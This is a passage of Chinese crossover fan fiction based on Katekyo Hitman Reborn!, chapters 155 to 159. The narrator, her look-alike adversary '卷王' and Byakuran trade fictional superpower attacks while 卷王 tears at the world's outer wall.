“……你担心这个?”我眼睛一转,“我还以为,你会高兴呢。” 如果使用乱流对我都产生了足够大的影响,不正说明其破坏性的增强?有这样一个强力的外援,祂不仅能在和我争夺最后一个主线世界毁灭权时更容易占据主动性,同时也意味着祂可以更容易地斩断我的退路,更容易地吃掉我。 怎么祂看上去一点也不开心。 不要告诉我,卷王这是在考虑当个君子,觉得有时空乱流的辅助胜之不武吧? “不会的,你的特质绝无仅有,不论时空乱流如何变化,都不可能会受影响!”卷王的声音放大,几乎是到了厉声呵斥的地步。 我看着卷王的眼睛,想起不久之前——好吧,或许也是很久之前,八兆亿个世界之前——祂对我的身体情况表现出的担忧,突然福至心灵,“你是担心我这个‘保健品’的功效?” 不是食品安全问题,而是保健品的效果问题。 担心我不是本质,担心我的体质不能满足祂未来的穿越需求才是本质。 我可不搞虚假宣传这一套,吃掉我或者占据我的身体,大概率都能获得我的体质。保祂穿越肯定是不成问题的了。但是……我却敏锐地意识到,这或许是个机会。 “嗯,你确实应该担心。”我耸了耸肩,“任何体质都是有极限的,八兆亿个世界产生积攒的能量,和其被搅碎所释放的能量都远超想象,而且在咱们俩齐心协力下,这些能量还是一次性释放。我现在都担心,如果这个世界连个锚点都没有的话,乱流的伤害会不会全面爆发。” 我抬起双脚,看着地面上流淌的岩浆散发着骇人的高温,蒸得人发汗。 “全面爆发……会怎么样?” “明知故问。”我睨了一眼卷王,“你对乱流的了解应该比我多吧?” 如果不能抵御,就势必会被摧毁。 卷王顿了几秒,斩钉截铁的语气说出的却是不那么确信的话,“你在诈我?” “怎么会?”我摊了摊手,“我很惜命的好吗?” 卷王眼睛里流露出几分不信。 苍天明鉴,我真的没有什么自残的喜好。能够豁得出去无非是在潜意识里知道,这里发生的一切至多让我社死,不至于真的让我死。 但是,在卷王的运作下,我现在的身体就是毫无加工痕迹的原装货,要是有个万一……是真的有被嘎风险的。 “我知道你想要的是什么,也知道你在担心什么。”我开口,尽显坦诚,“你无非就是担心我诈你,让你不敢毁灭最后的主线世界,对吧?你想多了,我这么真诚,怎么可能诈你呢?我只是在提醒你——在咱们俩反目之前提醒你,锚点很重要,非常重要。如果最后是你赢了,也记得留下锚点,否则后患无穷。当然,你赢的话,最后的那个世界肯定是要毁灭定了,既然那个‘核心’无法成为锚点,那最好的锚点就是——” 我拖长了语调,没有明说,只是用意有所指的眼神上下打量着卷王,注视着祂那双暴露无遗的右眼。 最好的原装锚点,当然就是拥有完整基石的7^3石板了。 只不过,那是卷王独立运作的核心,从某种意义上来说,是祂的“心脏”,而且还是拥有制造平行时空可能性的“心脏”。 祂真的会把自己这个可能会造就膨胀时空的心脏,毫无保留地留在这个世界吗? 如果能,那岂不是更加违背祂不留后患的目的? 如果不能,祂自然就要在这个心脏之外,再找可以接受的选项。 在我看来,这原本就是个非A即B的选择题。 国人的性情,总是折中的。 虽然卷王这样从世界意识里脱胎而出的人机很难用国籍来划分,但——既然用了我的建模,克隆了我的身体,那自然就算是我的好大儿。 怎么不算是国人呢? 我相信无法接受将那个“心脏”留在这个世界的祂,会接受折中的方案,保留没有白花花存在的主线世界的。 第156章 最后一个平行时空的整合一如既往, 但将这主线世界之外的最后一个平行时空撕裂、混入时空乱流的过程,却让我有不同的感受。 很显现,此时包裹在时空之外的乱流才是次元之间真正应该存在的“天堑”——没有被平行世界分割, 也没有被无数的平行世界缓冲。只有这样的乱流才能在真正意义上, 将次元分割开来,确保世界内外,互不干涉。 如果最开始时空乱流就一直是这样的级别, 那卷王想要借助Ghost靠近世界外沿攻击穿越司就是完全不可能的事了。 当然,这样的乱流也最为危险。 哪怕是我,在穿过乱流的过程中,也感觉到了动荡和摇晃, 仿佛有一种暴戾的能量穿过我的皮肤, 进入我的血管,跟随我的血液一起泵入了心脏,让我心烦意乱。 说不上可怕,但确实也让我很不舒服。 越靠近最后那个世界壁垒,这种不舒服的感觉就越明显。这也侧面说明, 越是靠近世界壁垒, 时空乱流就暴戾——这大概也是世界自我保护的一种方式,越是强大、越是混乱的时空乱流, 就越会能劝退或是杀死外来的入侵者以及内部想要突破的异端。 非常合理。 所有的次元壁垒和世界空隙之间, 都应该有相同的原理,这种混乱的力量是维护稳定的核心力量之一——世界之外的乱流和世界之内的规则无疑是一种互相配合的双重保险。 比如白花花, 他用自己的意识连接其余因他而出现的平行世界、进而获得平行时空的知识并不困难;但如果他想要突破世界的边缘, 用自己的肉|身前往其他平行世界, 那可就不容易了。 Ghost的情况, 就是实例——Ghost的存在可以说是在乱流和规则双重薄弱的情况下诞生的。可Ghost产生时, 世界乱流正被八兆亿个世界分割缓冲,世界规则也因为卷王的诞生而出现了漏洞,可即便如此,Ghost的穿越和行动依然处处受限制。 可想而知,如果没有无限膨胀的平行世界,就不会有被缓冲的时空乱流、也不会有出现漏洞的世界规则,那么次元之间的互不干涉的属性,就可以说是相当安全。 这样的环境,让我感到生理上有些不舒服的同时,又让我心理上一阵放松。只有这样的强度,才能称得上“保险”二字。 眉眼还来不及上扬,我就想起了身处的环境,赶紧咬着腮帮子,压着嘴角,控制住了自己的表情。这样强行变换表情,就使得我的五官不可避免地略显扭曲。 卷王闻着味儿就靠了过来,祂显然格外关注着我此刻的状态。 尤其是我穿过时空乱流的时候,祂连眼睛都不眨一下,生怕错过了我身上的任何一个异常细节。 当看到我眼角抽动,察觉到我心跳加速的时候,祂更是完全忘记了呼吸这一动作。 我能够感觉到祂如有实质的视线,卷王甚至伸出了手,随时准备接住我——为什么会准备接住我? 大概是我刚才假装脱力的演技有点演过了,祂真的认为我在接连不断地八兆亿个任务之后已经支撑不住。 这是好事,祂认为我消耗过度,这不岂不是更方便我背刺祂了? NICE! 任何人都不能长时间在时空乱流中生存,哪怕是我这样特殊的体质也不例外。如果被时空乱流影响的时间太长,我的体质受时空乱流的影响更大,也会变得更混乱,那么以后我那滑动穿越的体质只会更加失控。 所以理所当然,当最后一个需要整合的平行时空也成为了时空乱流的一部分、当主线世界之外再无落脚之地的时候,我和卷王二人,自然就不得不返回最初的世界。 这个时候,我在思考的首要问题,还是一会儿该如何面对主角团。 毕竟离开时候,我和卷王是在缠斗、是完全敌对关系,如今相互搀扶着回来算什么?算主角团是大冤种吗? 更重要的是,我和卷王这一模一样的面孔,原本就看上去很有猫腻。 谁看了心里不打鼓? 就算纲吉和尤尼酱不会怀疑我,那不是还有踹了我屁股一脚的六道骸吗? 我感到了一丝危险。 在真正穿过世界屏障、进入主线世界之前,我不动声色地看了旁边的卷王一眼,心里便有了盘算。 虽然我心底认为不能放弃自己“心脏”的卷王,十有八|九会选择折中选择留下主线世界,但祂毕竟没有明确表示,有可能会产生变数。 这样的情况下,我必须保有一步后手,万一祂真是要一意孤行,我也能随时做出反应。 不过,直接和主角团动手对卷王来说,也不是什么有效方案,毕竟祂早就已经尝试过了。 突袭都做不到的事,在双方的实力天平没有明显倾斜的情况下,正面强攻自然更达不到卷王想要的结果。 只是我有后手,难道卷王就没有吗? 我担心的是可能存在于卷王计划里的、不在我设想当中的突发情况。 为了预防可能会出现的未知问题,在身体完全穿过最后一个世界壁垒之前,我微微侧身,在卷王的视觉死角滑动手环。 提前把需求传了回去,是时候准备好白花花这个杀手锏了。只要等到我的下一个短信号,穿越司那边的基友就可以直接把人丢过来。 只不过,我也不得不考虑卷王的主观能动性。祂未必了解我手环的真正来源,但却绝对已经意识到了我手环的重要性。如果到了最后一步,祂又有被我“文字”限制的前车之鉴,一定会尽可能不给我第二次使用它的机会。 考虑到这一点,我在让人几乎睁不开眼的时空乱流里,传回了最后一个消息。 我预估了一个最后时间,以一天24小时为限。到了那个最后时限,即使我没有来得及发出短信号,也给我把白花花丢过来。 我相信,即使是到了最坏的情况,拖卷王一天的时间也绝对不是问题。 24个小时,时间很宽松。 这个时候的我还非常自信,认为一切都在我的掌控之中,不论是主角团还是穿越司,我都拿捏得很好,唯独称得上一些变数的,就只有卷王而已。但通过可以被我拿捏的主角团和穿越司,完全可以制约卷王。 这样的情况,有什么是会超出我掌控的吗? 我认为是没有的。 但我忘了,敌人是永远不可能背刺到我的,能够背刺我的,只有“同伴”这一个阵营——至少会是和我站在一起的人。 穿过最后一个世界壁垒,我感受到了许久不见的“生机”。八兆亿个世界很漫长,却不够丰富。已经被毁掉的世界,不论怎么看都是一样的,虽然也有些世界,因为被毁灭的时间比较早,拥有了一定的恢复期,所以废墟之中,已经再次生长出了几点翠绿的嫩芽。 但对于无尽的废墟和焦土而言,这一丁点“生机”实在是连“安慰”二字都称不上。我太久没有感受过卷王以外的人气儿了,距离心态炸裂只有一步之遥。 以至于在看到纲吉那熟悉的刺猬头时,竟然有一种想要落泪的冲动。 活人啊,是活人! 终于有卷王以外的活人了存在了! 不对,卷王算不上是活人——应该说,我终于看到除我以外的活人的存在了。 我抿着嘴,无端感受到了一种难以言喻的感动,因为流水线机械工作而生锈的大脑在这样的生机中重新活跃起来。一切旧事如新事,以至于连白花花那看上去总是很气人的面孔,都显得和善了起来。 这才是大空该有的样子啊! 他的气质里,要是一直都充满了这样的“和善”元素,我也不至于一开始就那样义无反顾地把他当做罪魁祸首,充满敌意的同时还毫不怀疑可能存在其他幕后黑手。 这样的大空感,就很有正派人物该有的样子了——毕竟在之后的剧情里,白花花也会变成正面角色的。 看,这样的白花花和纲吉站在一起,都仿佛是同一阵营的人。虽然两个人互相对峙的身位和表情确实也不像是好朋友,但至少一眼看上去是和谐的,是和谐……和谐……和谐个鬼啊! 我突然瞪大了眼睛,眼眶中的瞳孔骤缩。 等等,为什么白花花会出现在这里啊!? 这对吗? 我可完全没有传短信号回去,说好的24个小时呢! 我怎么感觉连24秒都没有过去呢? 这合理吗? 离开时流淌的岩浆、爆发的飓风、翻涌的海浪在没有卷王的火焰有意催化维系之后,已经逐步被主角团稳住,没有了原先的暴戾。 但已经被改变的地貌地形却无法在短时间内消失——混乱崎岖的地面和一片澄澈的天空,仿佛将漫画中的人们,和我与卷王分割在两个不同的世界。 我多希望这句话不是形容,我多希望这真是两个不同的世界。 这样至少不会让卷王亲眼目睹那活蹦乱跳的白花花了。 我简直不敢看旁边卷王的脸色,祂距离我很近。大概不是我的错觉,祂在颤抖——不是恐惧的那种颤抖,而是一种怒火上升的外化表现。 不知是不是因为手环和穿越司之间的联系,即使和地面相距数千甚至上万米,白花花还是精准地察觉到了我的存在,仿佛有什么蜘蛛感应一样,抬头就迎上了我那不可置信的视线。 “哟~”白花花毫不避讳地朝着挥手,冲着我打了个wink,一下子就将所有人的视线都从他身上转移到了我身上。 我算是明白什么叫如芒刺背、如坐针毡、如鲠在喉了。 上上下下,所有的眼睛和审视都在我身上,我现在完全就是众矢之的。 白花花却尤嫌不够,拖长的假音像个小夹子,故意地撒着娇,却又更像是在挑衅,在替我拉仇恨,“好慢啊,纲不吉君——难道你忘了我们之间的约定了吗,真是过分,害我都等了这么久~” 第157章 亲爱的白花花先生, 如果不会说话的话,这边建议可以闭嘴,而不是用这样惹人误会的语气把我拖下水啊, 喂! 我不理解, 为什么白花花就这样毫无征兆地出现在这个世界。我可什么信号都没发,时间也完全没到。难道基友做的决定吗?不,基友可比我靠谱多了, 他不会随意放白花花出来的。 我心里突然一咯噔,白花花不会是在穿越司里大开杀戒了吧? 我亲爱的基友,你不会G友,打出GG了吧? 不不不, 更不应该了。 白花花被丢过去的时候, 不仅是经历过战斗的战损状态,没有指环,而且那边文有宰子武有甚尔的,怎么也不至于到那种程度。 ……难道是宰子在背后搞事? 可他也没理由这样做。 我想不通,我实在是想不通。 总不能是白花花自己想办法跑路回来了吧? 理论上来说, 白花花确实也有一定的穿越体质, 即使没有外力帮助,他本身也拥有穿越的可能——但这个可能非常微弱。 退一步来讲, 即使这个可能成功了, 那也是没有目标锚点的穿越,没有外力帮助定位的穿越, 没有玛雷指环连接时空线的穿越, 实际上就是纯粹的随机穿越。 白花花得多幸运, 才能在八兆亿的时空乱流中, 精准地选中了唯一安好的主线世界? 我看了看是地面上的沟沟壑壑——好吧, 这里也不能说是“安好”。 但我不相信什么巧合纯幸运。 我扶额,事已至此,我不仅不知道变故的原因,而且也无从得知白花花究竟是什么时候来到这个世界的,自然就更无法判断在我看到他之前,他究竟和纲吉对峙了多久。 我能注意到的是,白花花的衣角有明显焦黑的痕迹,像是曾被火焰炙烤。只是不知道,这些焦痕来源于地面上微微流淌的岩浆,还是某人的火焰攻击。 不过,不论如何都没差。 白花花的存在不以我的意志为转移。 “咳——”我用力地清了清嗓子,举手发言,“我有话说。” 如果是纲吉的话,大概还是有精力听我狡辩一下的——不,不是狡辩,应该说解释。 但旁边的卷王就没有了那么多闲情逸致了。 祂不擅长控诉和抱怨,在看到白花花的瞬间——甚至在白花花出言发|骚之前,就已经从我身边错开。 我猜,此时祂的大脑里浮现的,应该是我刚才反复确认的事。 白花花,一个没有被刷新的7^3适格者,他和7^3基石之间的关系就像是原配的钥匙和锁,非常亲密,绝非外人可比。 而7^3承载了卷王的实体,是卷王当之无愧的“心脏”,自己的心脏和别人的联系反而更加紧密,其中的威胁可想而知。 再加上白花花给卷王带来的风险级别和纲吉还不尽相同,他在我之前,就已经察觉到了卷王的存在。 我隐约能够感觉到,有一个瞬间,卷王应该是想要回避和白花花交手的。 但当祂的脚步开始挪动之时,却猛然意识到,外面那让人眼花缭乱的八兆亿的迷宫已经被祂自己亲手搅碎成了乱流的一部分。 外面已经没有地方可以为祂制造“安全屋”了。 一旦意识到了这件事,祂便只有一条路可走——先下手为强! 然后,祂就袭击我了。? 大哥,你指定是有点问题,这种情况下,你不趁乱袭击白花花,而是袭击我。 我看上去很好欺负吗? 之前明明还在我身上吃了亏,现在反倒是无所顾忌了? 我和卷王之间的距离极近,在如此近的距离之下,祂攻击来得自然也非常快,快到连肉眼都捕捉不到。 没有太多时间思考和吐槽,我挥手间用来防御和反击的,是在这个世界观下,运行更加流程的咒力。 我还记挂着卷王的首要攻击目标,抬手防御时,唯一有机会用来思考的刹那,我有意识地避开了带着手环的那只手。 “砰!” 卷王直接撞到了我面前,我的手腕感到一阵压力。火焰和咒力相撞,浓烈的色彩让人眼花缭乱。祂的一只眼睛向上一翻,瞳孔直接翻到了眼眶之后,晶状体的位置被橘色的火光替代。 卷王用来攻击我的是岚之火焰,但祂真正调动的,却是大空的基石。 可是此刻,已经没有了可以供祂穿越的平行时空,相反,使用玛雷指环,只会进一步加速玛雷指环对适格者的呼唤——这一点,别人不知道,但卷王不可能不知道! 祂这样,和将自己的心脏剖出来放到阳光下供人攻击,有什么区别? 这个疑问在我的大脑中打了个转,可就在题面上的答案却没有来得及在我的脑中浮现,我那只被藏在身后的手突然一寒,从手腕开始——从一缕微弱的火焰缠绕之处开始,冰冷的寒霜迅速蔓延,一眨眼整个手臂都已经被冻得严严实实,展开的冰面带着棱刺,平面铺开的大小几乎超过了我的身体。 好沉。 这不是玛雷指环的力量,更不是白花花的招数。 “……死气的零地点突破?”招数都已经摆到了我面前,我自然不会认不出来。 题面上的答案后知后觉地浮现——啊,那个燃烧着的眼睛,左眼。 在刚才极短的反应时间里,我考虑到了手腕,注意到了火焰的颜色,但顺着先前八兆亿个世界相处的惯性,我几乎不假思索地认为,那是玛雷指环的火焰。没有注意到祂闪烁着橘色火焰的眼睛,不是先前的右眼,而是左眼。 右边是玛雷指环,左边是彭格列指环。 死气的零地点突破,这是彭格列初代目的招数。 诚然,我使用的并不是火焰,但咒力之所以能够在这个世界中使用,本就是因为从某种情绪中产生的力量,拥有相同的根源和相似的结构。 只要火焰的输出量足够大,死气的零地点突破就足以冻结咒力。 可是反过来,并不具有燃烧状态的咒力,却很难突破寒冷的冰块。 这毕竟不是普通的冰块,而是专门用来克制同类型力量的封印。不论是二代目彭格列还是XANXUS,都曾经尝试过用自己那暴戾的火焰来将之熔化,但他们都失败了。 甚至,彼时的纲才刚刚学会使用火焰没多久,就足以将XANXUS制住。更何况卷王对我使用的力量级别,绝对是祂在那一瞬间能够榨出的火焰的最高量级。 深入骨髓的寒冷冻得我手腕麻木。 我低头,在层层包裹的冰霜中蔓延着海浪涟漪般的细纹,不知发挥着什么隐秘的作用。但就最终的结果而言,我连手指都麻得动不了,就更别提去触碰手腕上的手环。 果然还是穿越助手不够智能,手环依靠我手动操作,哪怕是以其为介质释放其他力量,也需要至少一个握拳的动作来触发手环后的“NFC”。现在别说是握拳,我整个手臂都重极了,完全抬不起来。 至于语音控制功能什么的,手环完全没有。 这种时候才惊觉,为什么穿越题材总是离不开系统——能在大脑里交流细节,那是真有用啊! 我面无表情地审视着卷王,这个瞬间已经祂找好了未来的职位。 这可是从八兆亿个世界里卷出来的卷王,从世界意识这种抽象的东西里诞生而出的卷王,一个渴望见证更广阔未知的卷王,一个非常主动想要入侵到其他世界的卷王,一个真正意义上的“人工智能”——又能干人工的活,又能干智能的活。 还有比祂更适合当系统的蓝本吗? 我下坠的时候,满脑子都只有这件事。 问我为什么会下坠? 当然是因为这个没有被毁灭的世界,存在着地心引力的概念啊! 牛顿揭棺而起,物理最有用的一集。 强烈的失重感非常刺激,直接突破了我的恐惧上限。人就是这样,掉着掉着就习惯了,反正也不是头一遭,小问题。 我非常用力地催眠自己,没事哒、没事哒! 我甚至开始强迫自己理智地期待起来——我现在就像流星,说不定空气的高速摩擦能融化掉我半身的冰块呢? 不过,这个冰块也不是一无是处,至少算是一块长在我胳膊上,不论在空中坠落有多快都不会脱手的强力盾牌。 我将其横在胸前,非常有效地阻碍了卷王的牙齿。 祂会优先袭击我的原因也很清楚了,比起真的拿组成自己身体的力量为筹码去和白花花战斗,不如直接吃掉我,直接获取我的体质和力量离开这个世界。 反正,整合那八兆亿个世界的最基础的任务已经完成。 正如我先前用来劝服卷王的话术,平行世界的膨胀需要白花花和玛雷指环共同造就,卷王当时虽然没有明确表达,但现在看来,祂果然是把我的话听了进去。 看事物好的一面,这至少说明,卷王是愿意折中的。 突然,我的下坠停止了。 有一个人扶着我的后背,将我托举起来,强烈的失重在一个节点戛然而止,原本在下坠中还不明显的恶心感一口气涌了上来。 要是在这里吐出来的话,那岂不是天降彩虹? 我喉结上下涌动,用力地咽了口唾沫,忍耐着。 显然,有人重新压住了牛顿的棺材板。 戛然而止的下坠,让我不上不下地停在了半空中。 ……这位好心的白花花,你要不还是直接让我落到地上去呢? 第158章 做人乐观一点, 往好的方面去想,这里距离地面并不算高,如果我现在真的要吐彩虹的话, 受灾受难的恐怕也只是白花花一人。 至少不会像广告里那样——“播撒彩虹”。 白花花的右手扶着我的后背, 紧密的接触让我能够感受到他分明的指节和柔软的指腹,当然最重要的是,我没有在他的手指中感受到任何金属隔断。 他的右手上, 没有任何指环。 而白花花的左手就在我面前,光滑的五根指头上,同样没有任何指环。 没有指环,没有任何可以承载火焰的宝石或是介质, 他是怎么飞上来接住我的? 士别三日当刮目相待, 难道他是进化了? 不等我问出来,白花花的右手就从我的后背摸索到了肩膀,那和手臂相近的边缘。紧接着,我的手臂的一阵发烫——不是皮肤外在发烫,而是在皮肉之下, 血液奔流的地方几近沸腾。隔着印有蓝色纹路的冰块, 在被冻得发白的皮肤下,青紫的血管肉眼可见地迸出了鲜红色, 在冰纹的折射下, 映在了冰面上,尽显危险。 就仿佛被镜面聚合起来的阳光, 没有明显的火焰存在, 温度却在不直观地角落里, 快速上升着。 我的手指微微抽动, 略发麻的手腕突然获得了微微挪动的空间, 水渍贴着我的皮肤滑动,滴落在手环表面,搞得我想挠痒。 我惊异地看向旁边的白花花。 这个感觉很清晰,绝对是火焰类型的能力。那种温度在我身体里流动的感觉,很像是当初被晴之火焰刺激细胞,长出头发时候的感觉。 白花花的火焰在我的身体中。 而且,这个冰块——死气的零地点突破,是只有高焰压高纯度的火焰才能将其融化的冰块,这也从侧面重新论证了火焰的存在。但我只是有点近视有点散光,并非真的瞎,不至于到这么近的距离都看不到火焰的程度吧。 我很确定,这次是只有温度的上升,并不存在实体火焰。 新鲜了,在威尔帝不知道的地方,火焰技术新突破。 感受到体内流动的火焰,我眼睛一转,低声猜道:“咒力?” 和火焰的状态很像,但是却比火焰的使用方式更加灵活,流动的感觉又如此熟悉,只有咒力。 “是叫这个名字吗?和火焰很相像的能力,很有趣的能力变体,人的情绪原来有如此多的妙用。可惜,甚尔君不知怎么的,就不愿意搭理我了——超过分的!”白花花不算是正面回答,但却与回答无异,他抱怨着甚尔的冷漠,但他这和五条悟异曲同工的白毛怪,绝对是爹咪最讨厌的类型,“我以前怎么没有想到这些火焰变体力量的呢,是太依赖指环了吗,还是世界内有什么东西在束缚着我呢?” 他一边说着,一边不自觉地动了动空荡荡的手指,眼睛从卷王那张和我一模一样的脸上扫过,最后定格在了祂的眼睛上。 不愧是玛雷指环的唯一适格者,白花花很快就锁定了玛雷指环的位置。 狭长的眼睛让卷王心底打鼓,停住了身体,一时没有冲上来补刀。 也是趁着这个机会,我马上开口问出了那个最让我想不通的问题,“你为什么会突然回到这个世界?” 听到我的问话,白花花难得露出了困惑的神情,“嗯?不是你说的24小时吗。你的朋友很严格呢,明明可以再早一点的,没想到世界的外面还真有让人捉摸不透的东西,能提供这么新奇的思路,真是太有意思了,比这里有意思一百倍。这个世界无聊得已经没什么新的东西了啊——”他自顾自地说着,拖长了语调扫了一眼纲吉肩膀上站着的小狮子。 那是纲吉的彭格列匣兵器,大空狮子纳兹,非常可爱。 不过对于白花花来说,比起可爱,更应该用新奇来形容纳兹——毕竟在所有的世界里,这是唯一一个出现了彭格列专属匣兵器的世界。 只是,只要见过一次,对战过一次,白花花对其的兴趣就会在短暂的快速上升之后,更快地下降。 他永远喜欢新奇的东西,对未知的一切充满了好奇。 和卷王完全是同一类型。 不,应该说,卷王在这方面,受到了白花花的影响才对。 白花花眼睛亮亮的,没有多少对这个世界的留恋,满满的都是跃跃欲试,充满了对全新的力量使用方法的实践渴望。 不过,这不是我的重点,我隔着冰块点了点手环,“对啊,24个小时。但这才过去多久?有24分钟吗?” 事实上,从发送信号到白花花出现,我都觉得没有超过24秒。 “是24小时哦,一分一秒都不差。”白花花眯着眼睛,“那个大文学家计的时间,计算时间到小数点后三位是认真的吗。” 大文学家,指的应该是宰子吧。 这个世界并不存在那个特殊的横滨,太宰治这个名字所对应的,自然是那位真正的文豪。 白花花是和正一那样的专业天才有过同学经历的高材生,虽然后面也算是弃文就武,走上了混|黑灭世的邪门歪道,但他的基本素质绝对够够的,说不定还读过文豪太宰治的作品。突然有点想知道,白花花看到太宰治形象时候的第一感受了。 话说回来,如果白花花所言为真,我相信宰子不可能在简单的时间记录上出现如此大的偏差。 唯一有可能搞事的卷王一直在我身边,并且祂在此之前也并不知道白花花的生存——祂如果知道的话,绝不可能好言好语地和我相处那么久。 而如果宰子没有出错、白花花没有出错、我也没有出错、卷王也没有搞事……那就只能是其他的客观原因。 客观原因……比如错得不是我,而是这个世界之类的? 不是我中二,而是字面意义上的“世界”。 一旦有了方向,我马上就有了想法——关键词是时间错位。 和“时间”这个词相关的,第一位当然就是纲吉。 但说实话,且不说彭格列指环现在的拥有者是卷王,哪怕时间的控制权在纲吉身上,他也不可能无缘无故地拖动这个世界的时间进度条。 和白花花相比,他们彭格列这一脉对时间都有一定的敬畏之心,如果能操纵时间,他要做的一定是返回十年前,而不是干涉着整个世界的时间流速。 而排在纲吉之后的、和“时间”相关的关键词则是——时空乱流,包裹在世界壁外侧的时空乱流,时间和空间的乱序风暴。 如果是它的话,有可能会造成时间的错位。 “后面!” 一声喊叫从地面向上,穿云而来。 身体比理智更快地认出了正一的声音,先前的信任积累让我不假思索地就是一个猛猛转身,手上仍有大片未被融化的冰块随着我的转身一甩,痛击了我的队友。 额——抱一丝啊,白花花。 这次真不是故意的。 白花花的身体失衡,却也恰擦着喷射而起的岩浆而过,甚至意外躲过了某个透明的环状束缚,卷王一时错愕。 ……咳,没错,这不是意外,一切都在我的计划之中。 我用冰面挡住了正面的岩浆,炽热的温度扑面而来,让人睁不开眼睛。 冰面外侧没有融化的迹象,这不是火焰制造的效果,而是真正实体的纯天然岩浆。 一丁点火焰的元素都没有吗? 卷王现在应该已经没有这种能力了才对,怎么会—— 地面上,已经处理过一次天灾的纲吉,被这突如其来的喷发吓了一跳,超直感仿佛没有给他什么预警。 吃惊也只是一瞬间,他很快就将情绪转化为了行动。 就像卷王在限制我的时候,第一个使用的力量是死气的零地点突破一样,当纲吉需要限制某人火焰的时候,他想到的也是这个招数。 只不过,面对这种喷射性的“火”,死气的零地点突破·改要比单纯的冰封更加有效。 当我看到他双手火焰倒冲,奔赴岩浆根源之时,突然就想明白了什么。 “不行!那不是火焰!”我的声音被晴空骤响的雷电淹没,眼睁睁地看着纲吉靠近。 纲吉在使用死气的零地点突破·改时,会放空自己,向外输出的火焰会全部停摆,将自己变成一个旋涡的中心。 这样的纲吉,任何火焰都不会对他起效;但与之相对的,任何火焰意外的攻击,都可以是真实伤害。 岩浆浇在人身上…… 我都不敢想什么人能在这样的温度下存活——哪怕是岩浆洗澡的石榴,体质都建立在火焰的改造之上。 超直感呢,超直感还在不在家,救一下啊,超直感! 显然,超直感还没有智能到可以听懂我心音的程度。 不过,有人听到了,有人在雷电的暴击中捕捉到了我的嘴型。 六道骸虽然嘴硬了十年要杀纲吉,但有事他也是真上。他那习惯了缠绕在岩浆外的莲花,沿着岩浆根部破土而出,簇拥的花团没有在岩浆外做防御,而是直直地攻向了纲吉。 但是他还是不够快,或者说,有人比他更快,而且是个谁都想不到的人。 “白兰!” 家人们,谁懂啊,也是让我嗑到双BOSS了,这个公主抱的含金量谁懂? 他们俩甚至是完全敌对的状态,气氛就已经暧昧起来了。 大概连卷王也没有想到,白花花竟然会毫不犹豫地捞了一手纲吉。 或许对白花花来说,什么仇恨对立,什么同伴敌人,这些词都不重要,只有他自己的兴趣最要紧。 纲吉死掉话,很大程度上会影响我的判断,自然也会影响他未来的就业可能。 有些卷王需要想套路强力招收,但有的白花花自己上赶着朝我递简历。 愉悦犯,乐子人——白花花的这些属性我是早知的,我不知道的是,他怎么能在我出声之前,就一步到位意识到了卷王的真正目标? 白花花挑眉,像是听到了我的疑惑似的,无声地开口,“只是觉得,如果是我的话,就会这样做。” 卷王,拿着我的建模,但实际上却是白花花的双胞胎。 趁着这个机会,我手指硬抠在冰面内,手腕用力一顶。白色的文字瞬间从手环内蔓延开来,蓝色的纹路在此刻显示起了作用。 与其说是纹路,不如说是狭长流动的火焰,雨属性的火焰。镇静之火环绕在我手腕周围,延缓了一切力量的蔓延。 这是卷王拖延时间的手段。 拖延意味着,卷王需要时间来读条,需要时间来准备。 祂打算做什么? 我抬头,和卷王对上视线的同时,就见祂吐出了舌头,舌尖上含动着一块绿色的石头。 那个位置……是彩虹之子的基石? 沿着我们进入这个世界的位置,一圈圈看不清的涟漪荡开,一瞬间剧烈的电光几乎要闪瞎人眼,伴随着电闪雷鸣,刚刚消下去不久的厉风,席卷着被莲花藤蔓缠绕起来的岩浆,逆冲而上。 我的DNA一动,执行了八兆亿次的熟悉的流程来了。 但和先前那八兆亿次的流程不同,所有的天灾上,都没有任何火焰元素。 那颗含在卷王嘴里的基石就像是个误导方向的烟雾弹。 “啪”的一声,祂的舌头一动,任由绿色的基石坠落在地。 7^3基石这样完全的物质不会被外力所伤,它穿过流动的岩浆,一瞬间就没了影子。那些被溅起的岩浆却像是某个开关,骤然被按响,狂风呼啸着直奔卷王所处的那一点而去。 我后知后觉,卷王的状态是在倒退,从完全独立的状态,向后倒退。 只有倒退,才能让祂重新和世界意识连接,使用这样的“影响力”。 而这些“影响力”最终攻击的地方,却不是任何地点,而是卷王本身。 或者说,是卷王身体所处的位置,我们穿越的世界壁垒时的那一点位置——是先前重复过无数次的,毁灭世界的流程。 卷王,将自己融入世界意识的同时,也在撕裂着世界外壁。 作为世界意识的独立外置部分,祂无法对世界意识的重要组成部分直接出手,但是以自己为锚,引天灾攻击世界外壁却并不受限。 只是,如果没有任何一个世界、任何一个意识承载的话,即使是世界意识,也会面临完全毁灭。 那主动与世界意识相连的卷王,也一样逃脱不了同归于尽的结局。 祂疯了? 第159章 卷王疯没疯我不知道, 但我指定是正常不了了。 火焰引起的天灾,虽然也以“天灾”为名,但事实上却无疑是人祸。而像这样由非火焰因素引起的天灾, 才是真正意义上的天降灾难。 只看着, 就让人不由地产生了一种从心底蔓延而起的无力和恐慌。 这是人的本能,和实力强大与否并无关系。 哪怕是搞事无畏如白花花,哪怕是亲自动手毁灭过世界的白花花, 面对这样的画面,情感上也有一瞬间的畏缩。 连他都是如此,更何况是这个世界中存在的无数普通人。 而只要有这种情感存在,只要这种情感是意识的一部分, 卷王就能依附在这种意识上生长。 世界意识的特性开始逐渐清晰地显现。 这种特性, 在帮助卷王更快的“倒退”。 地面上,熔浆飞溅后留下的痕迹和炭黑色的焦土重重叠叠地交织在一起。我知道,这些飞溅的痕迹,大都是因为基石掉落在岩浆中而飞溅起来的。 我确实只是清晰地看到了一个宝石从卷王的嘴里掉落,但只看这些溅射痕迹, 卷王丢弃的绝非只有一个宝石。 卷王独立的身体是7^3石板的实体外化, 所以将7^3基石从石板上剥离,应该也算得上是祂自我“退化”的一部分。 和世界意识重新连接……这或许就能解释, 纲吉的超直感为什么没有在需要的时候起效。 超直感作为一种特殊的意识感知, 自然是在可以被世界意识影响的范畴。 “那个家伙,到底是在干什么, 那是在攻击什么地方?”狱寺看不明白。 有过前车之鉴, 他当然明白这些所谓的“天灾”并非是真的自然生成, 而是被特意操控。即使一时没有分清有无火焰的区别, 但不需要质疑的是, 这些“天灾”都是一种进攻手段。 只是现在,这些手段的攻击方向,让狱寺难以理解。 从肉眼直观上来看,这些天灾的攻击目标正是卷王自己,即使是透过现象看本质,那里也只是一处空地。 所有人中,除了一早就知道内情的我以外,最先反应过来的,竟然不是对平行世界最为熟悉的白花花,而在角落里被人保护的尤尼酱。 